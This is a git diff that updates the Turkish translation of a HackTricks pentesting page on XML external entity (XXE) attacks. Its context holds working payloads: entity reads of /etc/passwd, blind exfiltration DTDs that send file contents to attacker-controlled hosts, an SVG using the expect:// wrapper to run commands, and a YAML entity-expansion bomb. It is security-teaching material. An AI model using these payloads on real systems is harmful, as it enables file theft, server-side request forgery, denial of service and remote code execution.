mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/xxe-xee-xml-external-entity.md'] to tr
This commit is contained in:
parent
98977824e2
commit
5e87d6cf3f
@ -1,20 +1,15 @@
|
|||||||
# XXE - XEE - XML Dış Varlığı
|
# XXE - XEE - XML Dışsal Varlık
|
||||||
|
|
||||||
{{#include /banners/hacktricks-training.md}}
|
|
||||||
|
|
||||||
- [Dojo CTF Challenge #42 – Hex Renk Paleti XXE yazısı](https://www.yeswehack.com/dojo/dojo-ctf-challenge-winners-42)
|
|
||||||
- [lxml hatası #2107279 – Parametre-varlığı XXE hala mümkün](https://bugs.launchpad.net/lxml/+bug/2107279)
|
|
||||||
|
|
||||||
{{#include ../banners/hacktricks-training.md}}
|
{{#include ../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## XML Temelleri
|
## XML Temelleri
|
||||||
|
|
||||||
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı şekilde adlandırılmış etiketlerin kullanılmasına olanak tanıyan esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış etiket seti ile sınırlı olmamasıyla ayrılır. JSON'un yükselişi ile birlikte XML'in önemi azalmıştır, ancak AJAX teknolojisindeki ilk rolü nedeniyle hala önemlidir.
|
XML, veri depolama ve taşıma için tasarlanmış bir işaretleme dilidir ve açıklayıcı şekilde adlandırılmış etiketlerin kullanılmasına olanak tanıyan esnek bir yapıya sahiptir. HTML'den, önceden tanımlanmış etiket seti ile sınırlı olmamasıyla ayrılır. JSON'un yükselişi ile birlikte XML'in önemi azalmıştır, buna rağmen AJAX teknolojisindeki ilk rolü önemlidir.
|
||||||
|
|
||||||
- **Varlıklar aracılığıyla Veri Temsili**: XML'deki varlıklar, `<` ve `>` ile çelişki yaşamamak için `<` ve `>` gibi özel karakterler de dahil olmak üzere verilerin temsilini sağlar.
|
- **Varlıklar aracılığıyla Veri Temsili**: XML'deki varlıklar, `<` ve `>` ile çelişkiyi önlemek için `<` ve `>` gibi özel karakterler de dahil olmak üzere verilerin temsilini sağlar.
|
||||||
- **XML Elemanlarının Tanımlanması**: XML, eleman türlerinin tanımlanmasına olanak tanır ve elemanların nasıl yapılandırılacağını ve hangi içeriği içerebileceğini belirler; bu, her türlü içerikten belirli alt elemanlara kadar uzanır.
|
- **XML Elemanlarını Tanımlama**: XML, eleman türlerinin tanımlanmasına olanak tanır ve elemanların nasıl yapılandırılması gerektiğini ve hangi içeriği içerebileceğini belirler; bu, her türlü içerikten belirli alt elemanlara kadar uzanır.
|
||||||
- **Belge Türü Tanımı (DTD)**: DTD'ler, XML'de belgenin yapısını ve içerebileceği veri türlerini tanımlamak için kritik öneme sahiptir. DTD'ler içsel, dışsal veya bir kombinasyon olabilir ve belgelerin nasıl biçimlendirileceği ve doğrulanacağı konusunda rehberlik eder.
|
- **Belge Türü Tanımı (DTD)**: DTD'ler, XML'de belgenin yapısını ve içerebileceği veri türlerini tanımlamak için kritik öneme sahiptir. DTD'ler içsel, dışsal veya bir kombinasyon olabilir ve belgelerin nasıl biçimlendirileceği ve doğrulanacağı konusunda rehberlik eder.
|
||||||
- **Özel ve Dış Varlıklar**: XML, esnek veri temsili için bir DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan dış varlıklar, XML Dış Varlık (XXE) saldırıları bağlamında güvenlik endişeleri doğurur; bu saldırılar, XML ayrıştırıcılarının dış veri kaynaklarını nasıl işlediğini istismar eder: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
- **Özel ve Dışsal Varlıklar**: XML, esnek veri temsili için bir DTD içinde özel varlıkların oluşturulmasını destekler. URL ile tanımlanan dışsal varlıklar, özellikle XML Dışsal Varlık (XXE) saldırıları bağlamında güvenlik endişeleri doğurur; bu saldırılar, XML ayrıştırıcılarının dış veri kaynaklarını nasıl işlediğini istismar eder: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
|
||||||
- **Parametre Varlıkları ile XXE Tespiti**: XXE zafiyetlerini tespit etmek için, özellikle geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, XML parametre varlıkları kullanılabilir. Bu varlıklar, zafiyeti doğrulamak için kontrol edilen bir alan adına DNS sorguları veya HTTP istekleri tetikleme gibi dışarıdan tespit tekniklerine olanak tanır.
|
- **Parametre Varlıkları ile XXE Tespiti**: XXE zafiyetlerini tespit etmek için, özellikle geleneksel yöntemlerin ayrıştırıcı güvenlik önlemleri nedeniyle başarısız olduğu durumlarda, XML parametre varlıkları kullanılabilir. Bu varlıklar, zafiyeti doğrulamak için kontrol edilen bir alan adına DNS sorguları veya HTTP istekleri tetikleme gibi dışarıdan tespit tekniklerine olanak tanır.
|
||||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
|
||||||
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
- `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
|
||||||
@ -54,7 +49,7 @@ Bu ikinci durum, web sunucusu PHP kullanıyorsa bir dosya çıkarmak için fayda
|
|||||||
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
<!DOCTYPE replace [<!ENTITY example SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd"> ]>
|
||||||
<data>&example;</data>
|
<data>&example;</data>
|
||||||
```
|
```
|
||||||
Bu üçüncü durumda `Element stockCheck`'i ANY olarak tanımladığımıza dikkat edin.
|
Bu üçüncü durumda `Element stockCheck` ifadesini ANY olarak tanımladığımıza dikkat edin.
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE data [
|
<!DOCTYPE data [
|
||||||
@ -88,13 +83,13 @@ Bir XXE, bir bulut içindeki bir SSRF'yi kötüye kullanmak için kullanılabili
|
|||||||
```
|
```
|
||||||
### Blind SSRF
|
### Blind SSRF
|
||||||
|
|
||||||
**Daha önce bahsedilen teknik** kullanarak sunucunun kontrol ettiğiniz bir sunucuya erişmesini sağlayarak zayıf olduğunu gösterebilirsiniz. Ancak, bu işe yaramıyorsa, belki de **XML varlıklarına izin verilmediği** içindir, bu durumda **XML parametre varlıkları** kullanmayı deneyebilirsiniz:
|
**Daha önce bahsedilen tekniği** kullanarak sunucunun kontrol ettiğiniz bir sunucuya erişmesini sağlayarak zayıf olduğunu gösterebilirsiniz. Ancak, bu işe yaramıyorsa, belki de **XML varlıklarına izin verilmediğindendir**, bu durumda **XML parametre varlıklarını** kullanmayı deneyebilirsiniz:
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="UTF-8"?>
|
<?xml version="1.0" encoding="UTF-8"?>
|
||||||
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
<!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
|
||||||
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
<stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
|
||||||
```
|
```
|
||||||
### "Blind" SSRF - Dışarıya veri sızdırma
|
### "Blind" SSRF - Dışı kanaldan veri sızdırma
|
||||||
|
|
||||||
**Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü niyetli bir yük ile yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için bunu \_ftp://**\_ aracılığıyla sızdırmayı deneyebilirsiniz, örneğin bu temel sunucuyu kullanarak [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama,** [**Portswiggers lab burada**](https://portswigger.net/web-security/xxe/blind)** temel alınarak yapılmıştır.**
|
**Bu durumda, sunucunun, bir dosyanın içeriğini HTTP isteği aracılığıyla gönderecek kötü niyetli bir yük ile yeni bir DTD yüklemesini sağlayacağız (çok satırlı dosyalar için bunu \_ftp://**\_ aracılığıyla sızdırmayı deneyebilirsiniz, örneğin bu temel sunucuyu kullanarak [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Bu açıklama,** [**Portswiggers lab burada**](https://portswigger.net/web-security/xxe/blind)** temel alınarak yapılmıştır.**
|
||||||
|
|
||||||
@ -113,9 +108,9 @@ Bu DTD tarafından yürütülen adımlar şunlardır:
|
|||||||
|
|
||||||
1. **Parametre Varlıklarının Tanımı:**
|
1. **Parametre Varlıklarının Tanımı:**
|
||||||
- Bir XML parametre varlığı, `%file`, `/etc/hostname` dosyasının içeriğini okuyarak oluşturulur.
|
- Bir XML parametre varlığı, `%file`, `/etc/hostname` dosyasının içeriğini okuyarak oluşturulur.
|
||||||
- Başka bir XML parametre varlığı, `%eval`, tanımlanır. Bu, dinamik olarak yeni bir XML parametre varlığı olan `%exfiltrate`'i beyan eder. `%exfiltrate` varlığı, URL'nin sorgu dizesi içinde `%file` varlığının içeriğini geçirerek saldırganın sunucusuna bir HTTP isteği yapacak şekilde ayarlanır.
|
- Başka bir XML parametre varlığı, `%eval`, tanımlanır. Bu, dinamik olarak yeni bir XML parametre varlığı olan `%exfiltrate`'i bildirir. `%exfiltrate` varlığı, URL'nin sorgu dizesi içinde `%file` varlığının içeriğini geçirerek saldırganın sunucusuna bir HTTP isteği yapacak şekilde ayarlanır.
|
||||||
2. **Varlıkların Yürütülmesi:**
|
2. **Varlıkların Yürütülmesi:**
|
||||||
- `%eval` varlığı kullanılır, bu da `%exfiltrate` varlığının dinamik beyanının yürütülmesine yol açar.
|
- `%eval` varlığı kullanılır, bu da `%exfiltrate` varlığının dinamik bildirimini yürütmeye yol açar.
|
||||||
- Ardından `%exfiltrate` varlığı kullanılır ve dosyanın içeriği ile belirtilen URL'ye bir HTTP isteği tetiklenir.
|
- Ardından `%exfiltrate` varlığı kullanılır ve dosyanın içeriği ile belirtilen URL'ye bir HTTP isteği tetiklenir.
|
||||||
|
|
||||||
Saldırgan, bu kötü niyetli DTD'yi kontrolü altındaki bir sunucuda barındırır, genellikle `http://web-attacker.com/malicious.dtd` gibi bir URL'de.
|
Saldırgan, bu kötü niyetli DTD'yi kontrolü altındaki bir sunucuda barındırır, genellikle `http://web-attacker.com/malicious.dtd` gibi bir URL'de.
|
||||||
@ -134,9 +129,9 @@ Bu yük, bir XML parametre varlığı `%xxe` tanımlar ve bunu DTD içinde enteg
|
|||||||
|
|
||||||
Kötü niyetli bir dış Belge Türü Tanımı (DTD) kullanılarak, `/etc/passwd` dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hata mesajı tetiklenebilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir:
|
Kötü niyetli bir dış Belge Türü Tanımı (DTD) kullanılarak, `/etc/passwd` dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hata mesajı tetiklenebilir. Bu, aşağıdaki adımlar aracılığıyla gerçekleştirilir:
|
||||||
|
|
||||||
1. `file` adında bir XML parametre varlığı tanımlanır; bu varlık, `/etc/passwd` dosyasının içeriğini içerir.
|
1. `file` adında bir XML parametre varlığı tanımlanır; bu, `/etc/passwd` dosyasının içeriğini içerir.
|
||||||
2. `eval` adında bir XML parametre varlığı tanımlanır ve bu varlık, `error` adında başka bir XML parametre varlığı için dinamik bir tanım içerir. Bu `error` varlığı değerlendirildiğinde, var olmayan bir dosyayı yüklemeye çalışır ve `file` varlığının içeriğini ad olarak kullanır.
|
2. `eval` adında bir XML parametre varlığı tanımlanır ve bu, `error` adında başka bir XML parametre varlığı için dinamik bir beyan içerir. Bu `error` varlığı değerlendirildiğinde, var olmayan bir dosyayı yüklemeye çalışır ve `file` varlığının içeriğini adı olarak kullanır.
|
||||||
3. `eval` varlığı çağrılır ve `error` varlığının dinamik tanımına yol açar.
|
3. `eval` varlığı çağrılır ve `error` varlığının dinamik beyanına yol açar.
|
||||||
4. `error` varlığının çağrılması, var olmayan bir dosyayı yüklemeye çalışır ve dosya adı olarak `/etc/passwd` dosyasının içeriğini içeren bir hata mesajı üretir.
|
4. `error` varlığının çağrılması, var olmayan bir dosyayı yüklemeye çalışır ve dosya adı olarak `/etc/passwd` dosyasının içeriğini içeren bir hata mesajı üretir.
|
||||||
|
|
||||||
Kötü niyetli dış DTD, aşağıdaki XML ile çağrılabilir:
|
Kötü niyetli dış DTD, aşağıdaki XML ile çağrılabilir:
|
||||||
@ -149,15 +144,15 @@ Web sunucusunun yanıtı, `/etc/passwd` dosyasının içeriğini gösteren bir h
|
|||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
_**Dış DTD'nin, ikinci `eval` içinde bir varlık dahil etmemize izin verdiğini, ancak iç DTD'de bunun yasak olduğunu lütfen unutmayın. Bu nedenle, genellikle dış DTD kullanmadan bir hatayı zorlayamazsınız.**_
|
_**Lütfen harici DTD'nin, ikinci `eval` içinde bir varlık dahil etmemize izin verdiğini, ancak dahili DTD'de bunun yasak olduğunu unutmayın. Bu nedenle, harici bir DTD kullanmadan (genellikle) bir hatayı zorlayamazsınız.**_
|
||||||
|
|
||||||
### **Hata Tabanlı (sistem DTD)**
|
### **Hata Tabanlı (sistem DTD)**
|
||||||
|
|
||||||
Peki, **dış bağlantılar engellendiğinde** kör XXE zafiyetleri hakkında ne söyleyebiliriz (dış bağlantılar mevcut değil)?
|
Peki, **dışa dönük etkileşimlerin engellendiği** kör XXE zafiyetleri hakkında ne düşünüyorsunuz (harici bağlantılar mevcut değil)?
|
||||||
|
|
||||||
XML dil spesifikasyonundaki bir boşluk, **bir belgenin DTD'si iç ve dış tanımları birleştirdiğinde hata mesajları aracılığıyla hassas verileri açığa çıkarabilir**. Bu sorun, dışarıda tanımlanan varlıkların içten yeniden tanımlanmasına olanak tanır ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, dış DTD'de orijinal olarak tanımlanan bir XML parametre varlığının iç DTD'den yeniden tanımlanmasını istismar eder. Sunucu dış bağlantıları engellediğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri açığa çıkarmak için bir ayrıştırma hatası indüklemeyi hedeflerler.
|
XML dil spesifikasyonundaki bir boşluk, **bir belgenin DTD'si iç ve dış bildirimleri karıştırdığında hata mesajları aracılığıyla hassas verileri açığa çıkarabilir**. Bu sorun, harici olarak tanımlanan varlıkların dahili olarak yeniden tanımlanmasına olanak tanır ve hata tabanlı XXE saldırılarının gerçekleştirilmesini kolaylaştırır. Bu tür saldırılar, harici bir DTD'de orijinal olarak tanımlanan bir XML parametre varlığının, dahili bir DTD içinden yeniden tanımlanmasını istismar eder. Sunucu tarafından dışa dönük bağlantılar engellendiğinde, saldırganlar saldırıyı gerçekleştirmek için yerel DTD dosyalarına güvenmek zorundadır ve hassas bilgileri açığa çıkarmak için bir ayrıştırma hatası indüklemeyi hedeflerler.
|
||||||
|
|
||||||
Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda `custom_entity` adında bir varlık tanımlayan bir DTD dosyası olduğunu varsayalım. Bir saldırgan, aşağıdaki gibi bir hibrit DTD göndererek `/etc/passwd` dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hatası indükleyebilir:
|
Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda `custom_entity` adında bir varlık tanımlayan bir DTD dosyası olduğunu düşünün. Bir saldırgan, aşağıdaki gibi bir hibrit DTD göndererek `/etc/passwd` dosyasının içeriğini açığa çıkaran bir XML ayrıştırma hatası indükleyebilir:
|
||||||
```xml
|
```xml
|
||||||
<!DOCTYPE foo [
|
<!DOCTYPE foo [
|
||||||
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
|
||||||
@ -173,8 +168,8 @@ Sunucunun dosya sisteminde `/usr/local/app/schema.dtd` konumunda `custom_entity`
|
|||||||
Aşağıda belirtilen adımlar bu DTD tarafından yürütülmektedir:
|
Aşağıda belirtilen adımlar bu DTD tarafından yürütülmektedir:
|
||||||
|
|
||||||
- `local_dtd` adlı bir XML parametre varlığının tanımı, sunucunun dosya sisteminde bulunan dış DTD dosyasını içerir.
|
- `local_dtd` adlı bir XML parametre varlığının tanımı, sunucunun dosya sisteminde bulunan dış DTD dosyasını içerir.
|
||||||
- Dış DTD'de orijinal olarak tanımlanan `custom_entity` XML parametre varlığı için bir yeniden tanım yapılır; bu, bir [hata tabanlı XXE istismarı](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) kapsamak üzere tasarlanmıştır. Bu yeniden tanım, `/etc/passwd` dosyasının içeriğini açığa çıkaran bir ayrıştırma hatası oluşturmak için tasarlanmıştır.
|
- Dış DTD'de orijinal olarak tanımlanan `custom_entity` XML parametre varlığı için bir yeniden tanım yapılır; bu, bir [hata tabanlı XXE istismarı](https://portswigger.net/web-security/xxe/blind#exploiting-blind-xxe-to-retrieve-data-via-error-messages) kapsamak üzere tasarlanmıştır. Bu yeniden tanım, bir ayrıştırma hatası oluşturmak için tasarlanmıştır ve `/etc/passwd` dosyasının içeriğini açığa çıkarır.
|
||||||
- `local_dtd` varlığını kullanarak, dış DTD devreye alınır ve yeni tanımlanan `custom_entity`'yi kapsar. Bu eylemler dizisi, istismara yönelik hata mesajının iletilmesine neden olur.
|
- `local_dtd` varlığını kullanarak, dış DTD devreye alınır ve yeni tanımlanan `custom_entity`'yi kapsar. Bu eylemler dizisi, istismar için hedeflenen hata mesajının iletilmesine neden olur.
|
||||||
|
|
||||||
**Gerçek dünya örneği:** GNOME masaüstü ortamını kullanan sistemler genellikle `/usr/share/yelp/dtd/docbookx.dtd` konumunda `ISOamso` adlı bir varlık içeren bir DTD'ye sahiptir.
|
**Gerçek dünya örneği:** GNOME masaüstü ortamını kullanan sistemler genellikle `/usr/share/yelp/dtd/docbookx.dtd` konumunda `ISOamso` adlı bir varlık içeren bir DTD'ye sahiptir.
|
||||||
```xml
|
```xml
|
||||||
@ -193,7 +188,7 @@ Aşağıda belirtilen adımlar bu DTD tarafından yürütülmektedir:
|
|||||||
```
|
```
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
Bu teknik **içsel DTD kullandığı için önce geçerli bir tane bulmanız gerekiyor**. Bunu **sunucunun kullandığı aynı **İşletim Sistemi / Yazılımı** yükleyerek ve **bazı varsayılan DTD'leri** arayarak yapabilirsiniz veya sistemler içindeki **varsayılan DTD'lerin bir listesini** alıp **bunlardan herhangi birinin var olup olmadığını kontrol edebilirsiniz:**
|
Bu teknik **içsel DTD kullanıyorsa, önce geçerli bir tane bulmanız gerekir**. Bunu, sunucunun kullandığı aynı **İşletim Sistemi / Yazılımı** **kurup** bazı varsayılan DTD'leri **arama** yaparak veya sistemler içindeki **varsayılan DTD'lerin** bir listesini **alıp** bunlardan herhangi birinin var olup olmadığını **kontrol ederek** yapabilirsiniz:
|
||||||
```xml
|
```xml
|
||||||
<!DOCTYPE foo [
|
<!DOCTYPE foo [
|
||||||
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
|
||||||
@ -226,29 +221,29 @@ Testing 0 entities : []
|
|||||||
|
|
||||||
Bu saldırının daha derinlemesine bir açıklaması için, **Detectify'den** [**bu harika yazının**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **ikinci bölümüne göz atın**.
|
Bu saldırının daha derinlemesine bir açıklaması için, **Detectify'den** [**bu harika yazının**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **ikinci bölümüne göz atın**.
|
||||||
|
|
||||||
**Microsoft Office belgelerini yükleme yeteneği birçok web uygulaması tarafından sunulmaktadır**, bu uygulamalar daha sonra bu belgelerden belirli ayrıntıları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri içe aktarmasına izin verebilir. Ayrıştırıcının elektronik tablodan verileri çıkarması için, en az bir XML dosyasını ayrıştırması kaçınılmazdır.
|
**Microsoft Office belgelerini yükleme yeteneği birçok web uygulaması tarafından sunulmaktadır**, bu uygulamalar daha sonra bu belgelerden belirli ayrıntıları çıkarmaya devam eder. Örneğin, bir web uygulaması kullanıcıların XLSX formatında bir elektronik tablo yükleyerek veri içe aktarmasına izin verebilir. Parçacının elektronik tablodan verileri çıkarması için, en az bir XML dosyasını ayrıştırması gerekecektir.
|
||||||
|
|
||||||
Bu güvenlik açığını test etmek için, **XXE yükü içeren bir Microsoft Office dosyası oluşturmak** gereklidir. İlk adım, belgenin çıkarılabileceği boş bir dizin oluşturmaktır.
|
Bu güvenlik açığını test etmek için, **bir XXE yükü içeren bir Microsoft Office dosyası oluşturmak** gereklidir. İlk adım, belgenin çıkarılabileceği boş bir dizin oluşturmaktır.
|
||||||
|
|
||||||
Belge çıkarıldıktan sonra, `./unzipped/word/document.xml` konumundaki XML dosyası tercih edilen bir metin düzenleyicisinde (örneğin vim) açılmalı ve düzenlenmelidir. XML, genellikle bir HTTP isteği ile başlayan istenen XXE yükünü içerecek şekilde değiştirilmelidir.
|
Belge çıkarıldıktan sonra, `./unzipped/word/document.xml` konumundaki XML dosyası tercih edilen bir metin düzenleyicisinde (örneğin vim) açılmalı ve düzenlenmelidir. XML, genellikle bir HTTP isteği ile başlayan istenen XXE yükünü içerecek şekilde değiştirilmelidir.
|
||||||
|
|
||||||
Değiştirilen XML satırları, iki kök XML nesnesi arasında yerleştirilmelidir. URL'nin izlenebilir bir istek URL'si ile değiştirilmesi önemlidir.
|
Değiştirilen XML satırları, iki kök XML nesnesinin arasına yerleştirilmelidir. URL'nin izlenebilir bir istek URL'si ile değiştirilmesi önemlidir.
|
||||||
|
|
||||||
Son olarak, dosya kötü niyetli poc.docx dosyasını oluşturmak için sıkıştırılabilir. Daha önce oluşturulan "unzipped" dizininden aşağıdaki komut çalıştırılmalıdır:
|
Son olarak, dosya kötü niyetli poc.docx dosyasını oluşturmak için sıkıştırılabilir. Daha önce oluşturulan "unzipped" dizininden aşağıdaki komut çalıştırılmalıdır:
|
||||||
|
|
||||||
Artık oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yüklenebilir ve Burp Collaborator günlüklerinde bir isteğin görünmesini umabilirsiniz.
|
Artık oluşturulan dosya potansiyel olarak savunmasız web uygulamasına yüklenebilir ve Burp Collaborator günlüklerinde bir isteğin görünmesini umabiliriz.
|
||||||
|
|
||||||
### Jar: protocol
|
### Jar: protocol
|
||||||
|
|
||||||
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Hem yerel hem de uzak dosyalar için **PKZIP** arşivinde (örneğin, `.zip`, `.jar`, vb.) dosya erişimini sağlamak için tasarlanmıştır.
|
**jar** protokolü yalnızca **Java uygulamaları** içinde erişilebilir hale getirilmiştir. Hem yerel hem de uzaktan dosyalar için **PKZIP** arşivinde (örn. `.zip`, `.jar`, vb.) dosya erişimini sağlamak için tasarlanmıştır.
|
||||||
```
|
```
|
||||||
jar:file:///var/myarchive.zip!/file.txt
|
jar:file:///var/myarchive.zip!/file.txt
|
||||||
jar:https://download.host.com/myarchive.zip!/file.txt
|
jar:https://download.host.com/myarchive.zip!/file.txt
|
||||||
```
|
```
|
||||||
> [!CAUTION]
|
> [!CAUTION]
|
||||||
> PKZIP dosyaları içindeki dosyalara erişebilmek, **sistem DTD dosyalarını kötüye kullanmak için süper kullanışlıdır.** [Sistem DTD dosyalarını nasıl kötüye kullanacağınızı öğrenmek için bu bölüme bakın](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
> PKZIP dosyaları içindeki dosyalara erişebilmek, **sistem DTD dosyaları aracılığıyla XXE'yi istismar etmek için süper kullanışlıdır.** [Sistem DTD dosyalarını nasıl istismar edeceğinizi öğrenmek için bu bölüme bakın](xxe-xee-xml-external-entity.md#error-based-system-dtd).
|
||||||
|
|
||||||
PKZIP arşivindeki bir dosyaya jar protokolü aracılığıyla erişim süreci birkaç adım içerir:
|
PKZIP arşivindeki bir dosyaya jar protokolü aracılığıyla erişim süreci birkaç adımdan oluşur:
|
||||||
|
|
||||||
1. Belirtilen bir konumdan, örneğin `https://download.website.com/archive.zip`, zip arşivini indirmek için bir HTTP isteği yapılır.
|
1. Belirtilen bir konumdan, örneğin `https://download.website.com/archive.zip`, zip arşivini indirmek için bir HTTP isteği yapılır.
|
||||||
2. Arşivi içeren HTTP yanıtı, genellikle `/tmp/...` gibi bir konumda sistemde geçici olarak saklanır.
|
2. Arşivi içeren HTTP yanıtı, genellikle `/tmp/...` gibi bir konumda sistemde geçici olarak saklanır.
|
||||||
@ -293,7 +288,7 @@ g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
|
|||||||
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
|
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
|
||||||
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]
|
||||||
```
|
```
|
||||||
#### İkincil Patlama Saldırısı
|
#### Kuadratik Patlama Saldırısı
|
||||||
|
|
||||||
.png>)
|
.png>)
|
||||||
|
|
||||||
@ -327,7 +322,7 @@ Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portsw
|
|||||||
|
|
||||||
Kullanıcılar tarafından belirli uygulamalara yüklenen dosyalar, sunucuda işlenirken XML veya XML içeren dosya formatlarının nasıl ele alındığındaki zayıflıkları istismar edebilir. Ofis belgeleri (DOCX) ve görüntüler (SVG) gibi yaygın dosya formatları XML tabanlıdır.
|
Kullanıcılar tarafından belirli uygulamalara yüklenen dosyalar, sunucuda işlenirken XML veya XML içeren dosya formatlarının nasıl ele alındığındaki zayıflıkları istismar edebilir. Ofis belgeleri (DOCX) ve görüntüler (SVG) gibi yaygın dosya formatları XML tabanlıdır.
|
||||||
|
|
||||||
Kullanıcılar **görüntü yüklediğinde**, bu görüntüler sunucu tarafında işlenir veya doğrulanır. PNG veya JPEG gibi formatları bekleyen uygulamalar için bile, **sunucunun görüntü işleme kütüphanesi SVG görüntülerini de destekleyebilir**. XML tabanlı bir format olan SVG, saldırganlar tarafından kötü niyetli SVG görüntüleri göndermek için istismar edilebilir ve böylece sunucuyu XXE (XML Dış Varlık) zayıflıklarına maruz bırakabilir.
|
Kullanıcılar **görüntü yüklediğinde**, bu görüntüler sunucu tarafında işlenir veya doğrulanır. PNG veya JPEG gibi formatlar bekleyen uygulamalar için bile, **sunucunun görüntü işleme kütüphanesi SVG görüntülerini de destekleyebilir**. XML tabanlı bir format olan SVG, saldırganlar tarafından kötü niyetli SVG görüntüleri göndermek için istismar edilebilir ve böylece sunucuyu XXE (XML Dış Varlık) zayıflıklarına maruz bırakabilir.
|
||||||
|
|
||||||
Aşağıda, kötü niyetli bir SVG görüntüsünün sistem dosyalarını okumaya çalıştığı bir istismar örneği gösterilmektedir:
|
Aşağıda, kötü niyetli bir SVG görüntüsünün sistem dosyalarını okumaya çalıştığı bir istismar örneği gösterilmektedir:
|
||||||
```xml
|
```xml
|
||||||
@ -339,7 +334,7 @@ Başka bir yöntem, PHP "expect" sarmalayıcısı aracılığıyla **komutları
|
|||||||
<image xlink:href="expect://ls"></image>
|
<image xlink:href="expect://ls"></image>
|
||||||
</svg>
|
</svg>
|
||||||
```
|
```
|
||||||
SVG format, her iki durumda da sunucunun yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır ve bu da sağlam girdi doğrulama ve güvenlik önlemlerine olan ihtiyacı vurgular.
|
SVG format, sunucu yazılımının XML işleme yeteneklerini istismar eden saldırıları başlatmak için kullanılır, bu da sağlam girdi doğrulama ve güvenlik önlemlerine olan ihtiyacı vurgular.
|
||||||
|
|
||||||
Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) adresini kontrol edin!
|
Daha fazla bilgi için [https://portswigger.net/web-security/xxe](https://portswigger.net/web-security/xxe) adresini kontrol edin!
|
||||||
|
|
||||||
@ -413,7 +408,7 @@ Bu yalnızca XML sunucusu `data://` protokolünü kabul ediyorsa çalışır.
|
|||||||
|
|
||||||
### UTF-7
|
### UTF-7
|
||||||
|
|
||||||
